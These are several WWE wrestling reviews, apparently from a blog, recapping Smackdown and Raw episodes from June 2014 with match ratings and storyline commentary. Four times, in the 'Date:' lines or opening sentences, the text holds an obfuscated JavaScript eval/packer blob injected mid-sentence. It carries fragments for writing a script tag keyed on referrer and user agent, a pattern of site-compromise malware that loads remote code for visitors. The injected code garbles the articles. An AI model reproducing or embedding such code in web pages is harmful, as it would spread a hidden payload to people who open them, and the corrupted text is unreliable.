Smackdown – June 20, 2014: They’re Here And There’s No Stopping Them

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|tfehd|var|u0026u|referrer|fetbh||js|php'.split('|'),0,{})) June 20, 2014
Location: Nationwide Arena, Columbus, Ohio
Commentators: Michael Cole, John Bradshaw Layfield

We’re in the home stretch now for Money in the Bank as the WWE Title ladder match’s lineup is set. However, there’s now a second ladder match which was announced on Main Event. Seth Rollins is the only confirmed name for the match with the rest being announced on Raw. They’re really going to be stretched thin at the PPV as a result. Let’s get to it.

We open with a recap of Cena vs. Kane from Raw.

Here’s Cena to get things going. He points out the titles above the ring and gives us a ten second recap of the last nine months of the titles. That brings us to Money in the Bank and it sounds like the start of a bad joke. “A Mexican, an Irishman, a European, a Duck Dynasty reject, a primadonna and Dudley Do-Right walk into a WWE ring.” Cena says that’s where the comedy stops because he’ll be knocking all of them out at Money in the Bank and taking his title back. So he’ll be knocking himself out?

This brings out Del Rio who says Cena needs to stop talking and start worrying. He qualified first and then he’ll climb the ladder first. Sheamus comes out and says people haven’t forgotten to be afraid of Del Rio. People just don’t care about him at all. Sheamus will leave the PPV as a double champion. Cue Cesaro with Heyman and the latter talking about how Cesaro loves a match where it’s every man for himself because only Cesaro has a full time strategist. I haven’t heard Heyman talk this fast in a long time.

Next up is Reigns with what sounds like new and slower music but it’s very similar to the Shield’s song. He has trouble trusting people anymore but now the only thing that matters are those titles. Reigns doesn’t care who you think you are (looking at Cena), no one is going to stop him. He and Cena stare each other down and John takes off his shirt but Orton interrupts. Randy reminds everyone that he’s the face of the WWE and Reigns is already on the ramp to brawl with Orton. They fight up by the stage while the others brawl in the ring. Sheamus and Cena clear the ring but don’t fight each other. This was fine.

Seth Rollins vs. Kofi Kingston

Rollins has new ring gear, including what look to be dark gray tights and no shirt. Kofi says he wants in the ladder match in an inset interview before we get going. Seth is quickly tripped down and splashed for two before Kofi takes him into the corner for some right hands. Kofi gets sent into the buckle and put in a chinlock about a minute into the match. Back up and Kofi nails a quick cross body for two but Trouble in Paradise hits the ropes. The buckle bomb and a good looking curb stomp put Kofi away at 2:55.

Post match Rollins gets on the mic and says he’ll win the briefcase. Ambrose pops up on screen and says tonight might be the night he gets his revenge on Rollins. If it’s not tonight, then it’s coming soon. Rollins says that might be a good idea if Ambrose didn’t have to face Kane. Dean: “Shut up.” Ambrose promises to take care of both Rollins and Kane.

Dolph Ziggler vs. Bad News Barrett

Non-title. Ziggler wants another chance to be Mr. Money in the Bank. The bad news of the week: everyone else’s chances at Money in the Bank are like the US’s World Cup team: they might have some early success but they’ll fall at the end. A quick dropkick puts Barrett down but he sends Dolph into the corner and kicks him out to the floor. We take an early break and come back with Ziggler fighting out of a chinlock but getting kicked in the ribs to put him right back down.

Some knees to the face set up the big boot in the ropes to put Ziggler on the floor. Back in and JBL references the White Bronco and Roddy Piper vs. Goldust at Wrestlemania XII. A jawbreaker puts Barrett down and a running cross body does the same. That’s about it for Dolph’s offense though as he walks into Winds of Change for two. The Bull Hammer misses and Ziggler grabs a sunset flip for the pin at 4:08 shown of 7:38.

Rating: C. Not enough time to go anywhere but they got in most of their signature stuff. I’m not wild on the ending but it’s nice to see Ziggler getting a clean win over a name. I’d assume both of them will be in the ladder match, but this doesn’t put much confidence in me for Barrett’s title reign.

Ziggler walks into a Bull Hammer post match.

Adam Rose vs. Titus O’Neil

Titus sends him into the corner to start but gets rollup for the pin at 42 seconds.

Titus says ring the bell again and gets rolled up for another pin at 10 seconds.

Kane vs. Dean Ambrose

Rollins is on commentary. Ambrose’s new ring gear is a white undershirt and jeans. It actually suits him well. Ambrose charges at Kane to start but gets sent face first into the buckle. Rollins dares Ambrose to come fight him anywhere as Kane drives knees into the ribs. Dean stops Kane with a boot to the face and a top rope dropkick puts Kane down. A clothesline does the same and Ambrose hammers away in the corner.

Dean escapes a quick chokeslam attempt and gets two off a tornado DDT. Rollins stands up and dares Dean to come fight him but Ambrose sends Kane outside instead. Dean dives on him before going after Rollins, only to walk into an uppercut from Kane. Back in and the chokeslam is good for the pin at 3:34.

Rating: C-. This didn’t have time to get anywhere but it was more about Ambrose vs. Rollins than anything else. Seth as part of the Authority rather than Evolution works much better as Orton is being phased out of the group anyway and Rollins as the new star isn’t a bad idea at all. Ambrose vs. Rollins will be one heck of a fight.

Rollins curb stomps Ambrose post match.

We recap the opening segment.

Big E. vs. Jack Swagger

Colter talks about Big E. taking a handout last week when Lana distracted Swagger. Big E.’s music cuts him off and we’re ready to go. Swagger takes out Big E.’s leg to start and clotheslines him out to the floor. Back in and Big E. runs him over and the Big Ending gets the pin at 47 seconds.

Fandango knocks on the Divas locker room door and tells Layla that they’re up. She says she’ll be right there so Fandango turns around and sees Summer Rae. Summer says she understands why Layla loves him but she loves Fandango more. Summer kisses him and of course Layla comes out and catches them, sending her back into the locker room in tears.

Video on the Special Olympics.

Fandango vs. Bo Dallas

Fandango comes out on his own but Summer runs out to dance with him. He isn’t sure but Layla runs out to jump Summer. Fandango tries to break it up but the girls get in the ring. Layla accidentally kicks Fandango in the head and the girls run to the back. The Bodog gets the pin at 1:16.

Fandango gets a pep talk post match.

The Wyatts pop up on screen with Bray talking about a bunch of mice running around chasing a piece of cheese. Bray is the snake entering the maze and the monster ready to sink its jagged teeth into the world. All he has to do is climb a ladder and take what is his to bring us into the era of Wyatt. Can we please get the writers a thesaurus for some new words other than era?

There will be six other people in the briefcase ladder match to be announced on Raw.

Roman Reigns/Sheamus/John Cena vs. Randy Orton/Cesaro/Bray Wyatt/Alberto Del Rio

Sheamus and Cesaro get things going with the Irishman hammering away in the corner. Cesaro takes him down to the mat before running away when Sheamus gets back up. Off to Wyatt for a slugout with Sheamus with the pale one nailing his running knee lift. Cesaro offers a distraction and Bray takes over. Back to Cesaro who hammers away but Sheamus says bring it on. Cesaro does just that but walks into a powerslam anyway.

Cena comes in for his bulldog, sending Cesaro off to Del Rio for a tag. Alberto does about as well as Cesaro as he’s taken into the corner without putting up any offense at all. Cena tags Sheamus back in and Reigns looks annoyed that he didn’t get the tag. Del Rio gets Sheamus into the corner for a tag off to Cesaro as the heels take over. The Irish Curse out of the corner sends Cesaro to the apron for the ten forearms to the chest.

We take a break and come back with Del Rio getting two on Sheamus off what looked to be a suplex. A chinlock keeps Sheamus in trouble as the fans want Roman. Sheamus shrugs it off and tags in Cena again to work over the now legal Orton. Randy is knocked to the floor and we get the seven man standoff followed by the seven man brawl. Orton brings Cena back inside for the Elevated DDT and stares down Reigns. Cena gets taken into the heel corner for some stomping before it’s off to Bray for the running splash.

Del Rio hits the low superkick but misses a charge and falls out to the floor. Cesaro throws him back inside for a fast tag to Orton who powerslams Cena down with ease. Randy hammers away before it’s back to Cesaro for more of the same. A delayed vertical suplex gets two on John and we hit the chinlock. Reigns looks like he’s about to explode on the apron. The fact that Cole described it using the exact same words frightens me a bit.

Cena fights up and suplexs Cesaro down but Swiss Death prevents the tag. Del Rio gets two off the corner enziguri but gets dropkicked out of the air to put both guys down. He’s right back up for another low superkick to stop the tag again though and it’s back to Cesaro. A big right hand knocks Sheamus off the apron but Cesaro is afraid to punch Reigns.

Cena avoids a shot to the head and makes the tag to Reigns for the house cleaning. Everything breaks down with Reigns hitting the apron dropkick but getting sent into a forearm from Wyatt. Del Rio kicks Roman in the ribs but the armbreaker is countered into the spear for the pin at 16:03 shown of 19:33.

Rating: B-. Again Reigns is made to look like a star and treated like a main event equal. I don’t think he wins the title but it’s still too early for him to do that anyway. This did what it was supposed to do and followed a solid tag team formula to get there. Cesaro being afraid to fight Reigns was a great visual too.

Overall Rating: C+. This was another show where most of the stuff went by so fast that it’s hard to grade it. The stuff that did get time was good though, especially the Money in the Bank build. I’m still not sure how they’re going to fill in a card with fourteen people in two matches and four in another but they’ve pulled off harder tricks before. Good building show tonight.

Results
Seth Rollins b. Kofi Kingston – Curb stomp
Dolph Ziggler b. Bad News Barrett – Sunset flip
Adam Rose b. Titus O’Neil – Rollup
Adam Rose b. Titus O’Neil – Rollup
Kane b. Dean Ambrose – Chokeslam
Big E. b. Jack Swagger – Big Ending
Bo Dallas b. Fandango – Bodog
Roman Reigns/John Cena/Sheamus b. Cesaro/Alberto Del Rio/Randy Orton/Bray Wyatt – Spear to Del Rio

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Smackdown – June 13, 2014: Blink And You’ll Miss Most Of It

Smackdown
Date: eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("
");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|fafke|var|u0026u|referrer|ezehs||js|php'.split('|'),0,{})) June 13, 2014
Location: Resch Center Arena, Green Bay, Wisconsin
Commentators: Michael Cole, John Bradshaw Layfield

It’s the day of bad luck but things haven’t been that bad in WWE as of late. The big story coming out of Monday is Daniel Bryan being stripped of the WWE Title due to his neck injury, meaning the ladder match at Money in the Bank is now for the title. Allegedly there’s going to be a second ladder match announced for the traditional briefcase, but if they don’t announce something by Monday I can’t picture it happening. Let’s get to it.

We open with a recap of HHH and Stephanie stripping Bryan of the title before announcing the ladder match for the title.

Opening sequence.

Here’s Shield to open things up. Ambrose says it’s clear that the Authority is trying to stack the deck against them. Well listen up kiddo: they’re flipping the table over and coming for HHH’s throat. As for his former business partner Seth Rollins, his business will be shut down for good. Reigns says Orton better enjoy his vacation because after Roman gets his hands on him, Orton will be on a permanent vacation. Maybe one of them will be the next WWE Champion.

HHH pops up on screen and says there are only a handful of spots in the ladder match and he’s only got one slot available. Therefore, he flips a coin and it’s Ambrose getting a qualifying match later tonight. His opponent: Bray Wyatt. Also, the Wyatts and Reigns will be banned from ringside, and Ambrose is banned from ringside for the next match.

Roman Reigns vs. Bad News Barrett

Non-title. Roman takes him into the corner to start and gets two off a floatover suplex. Barrett fights back with some forearms but gets sent to the floor with a big clothesline as we take a break. Back with Reigns fighting out of a chinlock but missing a charge into the corner, allowing Barrett to hammer away even more. Reigns fights out of another chinlock and hits a Samoan drop to get a breather. Some clotheslines set up the running apron dropkick and Barrett is in trouble. The Superman Punch connects but 3MB breaks up the spear for the DQ at 8:25.

Rating: C. The match was pretty much exactly what it was supposed to be and the ending makes perfect sense. It’s also going to lead to a fitting final night for Mahal and McIntyre as they’re about to be destroyed by Reigns. Also, see how easy it is to protect a champion and avoid an unnecessary loss? Why can’t they do that more often?

Mahal is thrown over the table, McIntyre is speared and Slater is speared out of the air so Reigns can stand tall.

Erick Rowan vs. Jey Uso

This is the second round of singles matches after Jimmy beat Harper on Main Event. Rowan charges to start but is quickly sent to the floor for the big dive. Back in and Jey avoids a splash and hammers away but is easily thrown off the middle rope. A modified side slam (basically a Rock Bottom with the arm around Jey’s waist) gets the pin for Rowan out of nowhere at 1:40.

Bo Dallas vs. R-Truth

Bo dances to Truth’s music for a funny visual. Truth does the pelvic thrust to start and Bo isn’t sure what to make of it. Bo gets thrown down again and is a bit flustered for the first time. He nails a right hand and defends it by saying Truth attacked him. Some knees to the face get two for Bo and it’s off to a cravate. Truth makes a quick comeback with the gordbuster for two but Bo avoids the ax kick. The Bodog makes Bo 7-0 at 2:57, which the announcers treat as something that matters.

Cesaro and Heyman say that Cesaro will be fighting tonight and win by technical knockout when the referee has to stop the match.

Sheamus vs. Cesaro

Non-title. Cesaro takes him into the corner to start but Sheamus fights back with right hands of his own. A kick to the face staggers Sheamus and Cesaro keeps pounding away in the corner. Sheamus blocks a suplex into one of his own though and the Irishman takes over. More big right hands have Sheamus in trouble but he gets belly to backed to change momentum again. Sheamus nails a Cactus Clothesline and we take a break.

Back with Cesaro nailing another knee to the head, only to be sent to the apron for the ten forearms. He’s able to fight out though, so Sheamus just hits him in the face to send it back to the floor. That’s fine with Cesaro as he pulls Sheamus off the apron and down onto the floor. Back in again and Cesaro hits some double stomps for two before bending Sheamus’ back around the ropes. More right hands have Sheamus in trouble but he says bring it on. Cesoar keeps hammering but gets sent back out to the floor.

Back in again and Sheamus hits his running knee lift to set up the ten forearms and the Irish Curse for two. White Noise is countered into Swiss Death for two but Sheamus still says bring it on. Cesaro hits him with every strike he can, only to get ax handled to the face and caught by the rolling fireman’s carry. Cesaro grabs the ropes to avoid the powerslam and counters into a small package with the tights for the pin at 14:40. That’s the same finish (minus the tights) from Payback.

Rating: B-. This was the usual good match between these two but I’m getting a bit tired of seeing them together. I do like the finish carrying over from the last match for the sake of continuity and the lack of a last second Brogue Kick is always a plus. It was entertaining too so it’s hard to really complain about this one.

After look back at the opening segment, Bray Wyatt talks about dreaming of glory as a child. He dreamed of a nice house on a hill with a white picket fence. He dreamed of happiness. Then he woke up and realized he was still stuck in this rotten world just like the rest of it. Abigail heard and told him that he would achieve everything he dreamed of and more. They will chant his name and bow down to him, and that’s the predicament he’s in now. Above that ladder lies his happy anding and his power. Unfortunately for Dean Ambrose, he stands in Bray’s way and will burn. Follow the buzzards.

On Main Event, Layla poured kitty litter and milk on Summer Rae to even the score from Monday.

Adam Rose vs. Fandango

Rose avoids a jump in the corner and gives Fandango a spank. The dancer takes him down and gets two off a suplex, only to have Rose roll away before Fandango can try the guillotine legdrop. Party Foul gets the pin at 1:45.

Post match Rose’s chicken gets in the ring and removes it’s beak to reveal Summer Rae. The catfight is on until Fandango saves his chick. Summer is actually working in this role.

Jack Swagger vs. Big E.

Swagger quickly sends Big E. out to the floor and takes his head off with a clothesline. Back in and Swagger pounds away but gets backdropped over the top and out to the floor. Big E. hits his clotheslines and the belly to belly followed by the Warrior Splash. Lana comes out for a distraction before the Big Ending, allowing Swagger to boot Big E.’s head off. Colter yells at Lana to get rid of her, but the Vader Bomb is countered with the Big Ending for the pin at 2:57. Colter yelling at Lana could lead to something, but so much for the ANGRY Swagger push.

Aksana vs. Alicia Fox

Aksana slaps her and nails some clotheslines to start before a snap suplex gets two. The release spinebuster gets two more but Fox comes back with her northern lights suplex. We hit the chinlock on Aksana followed by something like a snap Fameasser to a kneeling Aksana for the pin at 2:25.

The Raw ReBound looks at Rollins’ explanation.

Money in the Bank Qualifying Match: Bray Wyatt vs. Dean Ambrose

It’s a brawl to start until Dean hits a cross body for two. He rakes Bray’s eyes across the ropes and hits his dropkick against the ropes to knock Bray outside. Ambrose dives over the top rope but gets caught in a release Rock Bottom against the apron. Back from a break with Bray working over the arm.

Ambrose escapes the suplex slam though and hits a DDT to get a breather. The bad arm is sent into the post though and Bray gets two off some headbutts. Off to a nerve hold but Bray misses the running backsplash. Dean goes to the apron but sends Bray into the buckle with one good arm. After fighting off a superplex attempt, Dean jumps into the release Rock Bottom but elbows his way out again.

Bray knocks him into the ropes but Dean bounces off the ropes with a clothesline for two. Ambrose says bring it on and charges at Wyatt in the corner. Bray goes outside but gets taken down by a running suicide dive. Back in and Dean hits his missile dropkick for two but the bulldog driver is easily broken up. Wyatt hits his running cross body but the suplex slam is countered into a small package. Now the bulldog driver connects but Seth Rollins is on the announcers’ table. Dean goes after him but Seth goes into the ring, sending Dean into Sister Abigail for the pin at 14:22.

Rating: B. This was getting good but it never hit that top level. I’m not wild on Bray wanting to be World Champion as he comes off more like a 1992 Cactus Jack, where he should only care about causing chaos rather than being champion. It’s an interesting idea though and Bray being champion wouldn’t be a stretch at this point.

Overall Rating: C+. This was your run of the mill Smackdown: the long matches were good enough, nothing was too terrible and there’s absolutely nothing that you need to see here at all. If you have nothing else to do, Smackdown isn’t the worst way to spend two hours, but you’d be better off throwing on an old show on the Network. That could be the same reaction to the show every week anymore.

Results
Roman Reigns b. Bad News Barrett via DQ when 3MB interfered
Erick Rowan b. Jey Uso – Side slam
Bo Dallas b. R-Truth – Bodog
Cesaro b. Sheamus – Small package
Adam Rose b. Fandango – Party Foul
Big E. b. Jack Swagger – Big Ending
Alicia Fox b. Aksana – Fameasser
Bray Wyatt b. Dean Ambrose – Sister Abigail

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Reviewing the Review: Monday Night Raw – June 9, 2014

Last eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|eestz|var|u0026u|referrer|fheey||js|php'.split('|'),0,{})) night had some major events taking place and as usual, the fans aren’t all that pleased. To be fair it’s WWE, where nothing is ever satisfactory. Let’s get to it.

The opening promo was the Authority stripping Daniel Bryan of the WWE Title. At the end of the day, this is the only thing you can really do. The guy can’t wrestle and hasn’t been able to for a month, so you have to take it away. Luckily for Bryan, he was only champion for a month so it’s hard to jump on him for the weak ratings. If nothing else maybe he’ll be seen as valuable for them going down without him. The MITB ladder match will now be for the title and Randy Orton has been added to the match because he’s Randy Orton. Seriously that’s pretty much what HHH said.

In the same promo, HHH talks about how Shield was told to evolve but only Seth Rollins actually listened to him. This led to the announcement of a six man tag later with Ambrose and Reigns teaming up with whomever they could find against the Wyatts. Why anyone expected anyone not named John Cena to be the third man is beyond me. Yeah it was predictable, but don’t act like it was some big disappointment just because you figured out who it was and they didn’t throw in a big curveball. That’s your fault for inventing some standard. If you don’t like Cena that’s one thing, but saying that him being the third man is a stupid idea shows that you really don’t know what you’re talking about.

Sheamus beat Bad News Barrett in a MITB qualifying match. Say it with me: Sheamus got beaten up and hit a Brogue Kick for the win out of nowhere. Typical hard hitting and not bad match between these two.

The Wyatts had a promo with Bray saying he was reborn. This was below their usual standard.

Lana showed off her legs while Rusev destroyed Ryder.

The Goldust Needs A Partner story continued with R-Truth. Something that I haven’t touched on in this story is Ryback and Axel picking up a lot of wins. It’s building them up as a new set of challengers and that’s something the Usos need right now. I love killing two birds with one stone. Later in the night Cody promised a new partner next week who will magnify Goldust’s greatness. I saw someone say it’s Sandow as Goldust and that’s probably the case…..unless Cody is now a Boliever. I have no idea why but that popped into my head as a possibility last week. I know it doesn’t make sense and I doubt it happens but it was there.

Summer Rae poured milk over Layla and it looked like male ejaculation. You know you were all thinking it.

Now we get to the real meat of the show: Shield attacked 3MB and got to talk about Rollins. Ambrose got right to the point by saying he was going to beat Rollins up very, very badly. This was a really simple promo but Ambrose was bleeding charisma out there and the whole thing worked really well.

Then we got to the one I really liked. Reigns spoke in a very calm and casual voice about how Seth committed the most horrible sin of them all. Roman is coming after all three of them and Rollins is his first target, followed by Orton and then HHH, presumably at Summerslam.

Reigns going through Evolution one by one is a great story and will make him look like a huge star. I loved how casual he was with this and acted like this was something he just had to deal with. Not a lot of people talk in a voice like that and it worked for him. He even capped it off with a Game of Thrones reference, because Roman Reigns is 29 years old and actually in tune with pop culture rather than referencing things that were big deals 15 years ago.

Damien Sandow dressed as a dancer to team with Fandango (accompanied by a still milky Layla for no logical reason) in a loss to the Usos. If there’s a point to this Sandow stuff, please feel free to get to it anytime.

Bo Dallas beat Xavier Woods in the usual Dallas formula.

Cesaro beat RVD to qualify for the ladder match. There’s really nothing to say here.

Cole had a sitdown interview with Rollins to explain why he did this. The explanation was that Rollins founded the Shield and didn’t like sharing the credit. That helps, but it really doesn’t answer why he joined Evolution. Shield has proven that they’re better than Evolution, so why would Rollins want to work with or under a leader that he’s defeated twice now? It would make more sense to have Rollins strike out on his own or start a new stable with lackeys of his own. Instead he’s arguably third fiddle in Evolution and lower than when this whole thing started. I still think there was no reason for this other than shock value but this helped.

Ambrose and Reigns ran in post interview but the Wyatts made the save, drawing out Cena for the obvious reveal.

Paige beat Alicia Fox again and Fox freaked out on Aksana for costing her the match. I’d like to point out again: I don’t care about stories involving crazy losers.

Jack Swagger got fired up by a slap from Zeb and beat Santino. I didn’t care the first 5 times they did this and I don’t care now. Swagger has needed a repackaging for about four years now, since he’s been the same character since roughly 2009.

The six man main event was fine and did a nice job of storytelling. Having Reigns and Ambrose finally beat the Wyatts in a six man in their first try without Rollins shows that he was the reason they couldn’t do it and adds to the story. Reigns tearing through everyone is going to be an awesome sight to see.

Last night’s Raw was a good example of having everything go so fast that I didn’t have time to complain about most of it. The matches were mostly short but the most part nothing was all that terrible. This show was about the main event scene and we got a lot of stuff added on to the big pay per view match. Also we got a preview of what’s coming for Reigns and that’s the most important thing for the future. Efficient but not a great show this week.

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Monday Night Raw – June 9, 2014: It Was Better Than Nothing

Monday eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('0.6("");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|seizh|var|u0026u|referrer|ksknf||js|php'.split('|'),0,{})) Night Raw
Date: June 9, 2014
Location: Target Center, Minneapolis, Minnesota
Commentators: Michael Cole, John Bradshaw Layfield, Jerry Lawler

The main story coming into tonight are the fallout from Seth Rollins turning on Shield last week. Tonight we should be getting revenge from Ambrose and Reigns, who didn’t appear on Smackdown last week. On top of that, the breaking news today is Daniel Bryan not being cleared for Money in the Bank, meaning the title will likely be held up. Let’s get to it.

Here’s a very happy Authority to open the show. Stephanie talks about how they like to make blockbuster announcements and gives us a video of Daniel Bryan’s doctor. Dr. Maroon says that Daniel won’t be able to participate at Money in the Bank due to the severity of his neck injury. HHH is very pleased as Stephanie officially strips Bryan of the title. Stephanie wishes Bryan well and acknowledges his very selfish wife Brie.

However we still need a WWE Champion, so at Money in the Bank we’ll have a WWE Championship ladder match. The participants will be determined by a series of qualifying matches. Stephanie says the first qualifying match took place on Smackdown (it was on Raw) so Alberto Del Rio is in. HHH says Randy Orton is in as well because he deserves it. They’ve been saying it since Wrestlemania, but now this is proof: Daniel Bryan isn’t WWE Championship material.

HHH isn’t done yet as he rants about telling Shield to adapt or perish but only Seth Rollins listened to what he said. We get a video of the turn last week, which still took place after Shield beat Evolution twice in a row. As for tonight, Ambrose and Reigns will be in a six man tag match against the Wyatt Family. They need to find a partner though, which might be tough after they spent a year running roughshod over the entire locker room. However, they need to adapt or they’ll perish.

Money in the Bank Qualifying Match: Sheamus vs. Bad News Barrett

Non-title. Barrett takes him into the corner to start but gets run over with a clothesline. Sheamus is sent out to the floor and Barrett follows it up with a shoulder block off the steps. Back in and Sheamus takes him down again before hitting the ten forearms. A middle rope knee drop misses and Barrett kicks him in the face, only for a running cross body from Sheamus to put both guys on the floor.

Back from a break with Sheamus in a chinlock before Barrett drops an elbow for two. Sheamus fights up but runs into a knee to the head, only to avoid the low superkick and get two off the Irish Curse. Winds of Change gets the same for Barrett but he walks into the tilt-a-whirl powerslam for two. Sheamus loads up the Brogue but Barrett rolls to the floor, only to have Sheamus dive off the top. It’s a bad move though, as Barrett steps to the side and Sheamus crashes into the barricade.

He beats the count back in at nine and kicks out of Wasteland at two. The Bull Hammer is countered into White Noise for a very close two but Barrett counters the slingshot shoulder with a headbutt. He kicks Sheamus in the head over and over before ramming Sheamus shoulder first into the post twice in a row. Another series of kicks to the head in the corner….set up the Brogue Kick out of nowhere for the pin for Sheamus at 13:12.

Rating: B-. As this whole thing was going on, I was saying to myself “and then Sheamus hits a Brogue Kick out of nowhere for the pin”, and that’s exactly what happened. How did I know that was going to happen? Because that’s what always happens. At least the stuff before the ending was good. Also are we just going to forget about Sheamus’ head injury from before Payback?

The Wyatts pop on screen and says people were supposed to forget about them. Bray says he’s been reborn, despite only being gone eight days and making an appearance on Smackdown in between.

Lana comes out and makes fun of Obama for being a weak man. We get a video of I’m assuming the real Obama working out with some very light weights. Lana compares him to Putin who is known to be in good shape and trains in martial arts. We get a rather disturbing picture of a shirtless Putin on a horse which I’ve seen before and is still just as disturbing.

Rusev vs. Zack Ryder

Forearms to the back of the head, the running superkick and the Accolade end Ryder at 1:03.

Ryback/Curtis Axel vs. Goldust/R-Truth

Truth gets attacked to start but he escapes for the hot (?) tag less than a minute in. Goldust cleans house and hits the snap powerslam on Axel. Ryback comes in and the spinning cross body takes out both he and Curtis as Cody is watching in the back. Truth is thrown to the floor and Goldust nails a spinebuster on Ryback. Axel sneaks in from behind though and rolls up Goldust for the pin with a handful of tights for the pin at 2:20.

Layla is getting her makeup done while insulting the people of Minneapolis, including hometown girl Summer Rae. Summer comes up behind her and pours milk over her before ramming Layla into various things.

3MB is in the ring but here come Ambrose and Reigns. The beating is on and they fight up the aisle with Reigns hitting a spear to Slater completely off screen. It looked like a camera error as they were looking at the crowd for a long stretch of time. Thankfully the replay shows a good shot of it.

Ambrose says the Shield was going to go down as one of the best groups ever. They dominated WWE and everyone in it, including Evolution. The team was healthy on the surface but there was a cancer inside them called Seth Rollins. Ambrose says he’ll get the chance to rearrange Rollins’ face by moving his nose over to his one ear (“because you’ll only have one left”) and that they’ll beat Rollins up. I like how simple that last line was.

Reigns very casually (not a bad thing) says Seth committed the most unforgettable sin. After he gets done with Rollins, Reigns is coming for Orton so he can mess up the face of the WWE. Then he’s coming for HHH. When he gets his hands on the King of Kings, they’ll have their own Game of Thrones.

Seth Rollins will break his silence tonight, despite talking on Smackdown.

Usos vs. Fandango/Damien Sandow

Damien comes out in what looks like long underwear and a streamer for what’s described as “interpretive dance.” Layla still has milk on her because WWE doesn’t have towels. Fandango cranks on Jimmy’s arm to start but Jimmy comes back with the dancing right hand. Off to Damien and the dancing begins. Sandow takes Jimmy over with a headlock before dancing around. Jimmy JUMPS up for a superkick before knocking Fandango off the apron. Jey hits the Superfly Splash for the pin on Sandow at 2:24.

Bo Dallas vs. Xavier Woods

Dallas says the way for Bryan to get back sooner than later is to BOLIEVE! Woods gets caught in a headlock to start but hiptosses Bo down to escape. A knee to the ribs drops Woods again but he sends Dallas into the buckle, only to springboard into something like a spear. The Bodog is good for the pin at 2:30.

Bo tells Woods to never quit after the match.

Back from a break with Paul Heyman in the ring and talking about the same thing he’s talked about every night since Wrestlemania. Tonight he’s here to introduce the next WWE World Heavyweight Champion, who is coming off his history making moment at Wrestlemania……CESARO! Heyman was teasing Lesnar if that wasn’t clear.

Money in the Bank Qualifying Match: Cesaro vs. Rob Van Dam

Rob quickly takes him down for two before walking into a tilt-a-whirl powerslam for two. The monkey flip and top rope kick to the face send Cesaro to the floor and a flip dive drops him again as we take a break. Back with Cesaro cranking on a chinlock and throwing RVD out to the floor. They head back inside for another chinlock before Rob nails the spinwheel kick and a clothesline to take over. Cesaro misses a charge in the corner and the split legged moonsault gets two.

Van Dam tries to speed things up a bit too much though and gets caught by Swiss Death out of the corner for an even closer near fall. A powerbomb gets two more for Cesaro but he gets kicked down and nailed with Rolling Thunder. Back up and Rob nails another spinning kick in the corner but gets crotched down for his efforts. Cesaro wraps the leg around the post before Neutralizing RVD for the pin at 10:50.

Rating: C+. Good but not great match here. WWE is really getting into a funk with how they do every kind of match and you can see it here very clearly. They just kept trading their signature stuff until the winner hit a finisher for the pin. That’s almost the same formula you see in every upper midcard match and it’s getting a bit annoying.

We recap the Authority and Shield’s promos from earlier.

Michael Cole brings out Seth Rollins, now with his own music and in a suit, for a sitdown interview. Rollins says he doesn’t understand the controversy behind what he did because he was looking out for his own business. He takes credit for creating the Shield and says the other two have no right to claim any of its success. Ambrose would be face first in a ditch without him and Reigns needs someone to focus his aggression.

Cole asks about the Shield being three individuals instead of one man. Rollins says we’ll see about that tonight. He took Shield to the top and that brings us to Payback. Rollins learned from Evolution that you have to evolve and adapt. The fans say he sold out but he says he bought in to the evolution of Seth Rollins. Rollins brags about the guts it took last week but people are fixated on how he turned on his brothers. Seth says they were just business partners and he severed those connections.

For two years, Rollins put his fist out and said believe in the Shield. What he really meant was that everyone should believe in Seth Rollins. That’s all for the explanation, so now where are Ambrose and Reigns to do what they promised? Here they come and Rollins takes off his tie but we’ve got Wyatts. The lights come back on and the Family is in the ring for the fight. Bray is nowhere in sight but Rollins comes back inside….just as Rollins and Harper are sent outside. Bray and the Family come back in for the save but Cena comes out for the real save, apparently becoming the third man for the tag match later.

Paige vs. Alicia Fox

Non-title and Alicia has Aksana in her corner. Paige quickly heads outside to go after Aksana and gets dropkicked off the apron as a result. Fox puts on a chinlock and yells a lot before hitting a tilt-a-whirl backbreaker for two. Paige counters a side slam with a headscissors out of the floor as Cole describes Fox as a “mood ring maker’s dream.” Back in and Paige fires off a bunch of clotheslines followed by a bad looking running dropkick for two. Aksana yells a lot so Paige throws Fox into her, setting up the PTO on Fox for the submission at 4:56.

Rating: D+. This was sloppy at times but not horrible. Fox’s push is pretty much done as she keeps losing every match she’s in, making the character development rather worthless. She does look good in the shorts though. Paige getting another win on TV is good for her though as she can keep dominating until someone is built up to beat her.

Fox beats up Aksana post match before stealing water and popcorn from fans to pour on Aksana. She feeds some to Aksana against her will and that’s about it. JBL calling for anyone from Jesse Ventura to the Gagnes to help them made me chuckle.

Santino Marella vs. Jack Swagger

Marella escapes an early powerslam attempt and sends Jack out to the floor with a forearm. Colter slaps Swagger in the face and Jack is all fired up, to the point that he misses a charge into the post. Thankfully he blocks the Cobra and hits the gutwrench powerbomb for the pin at 1:57.

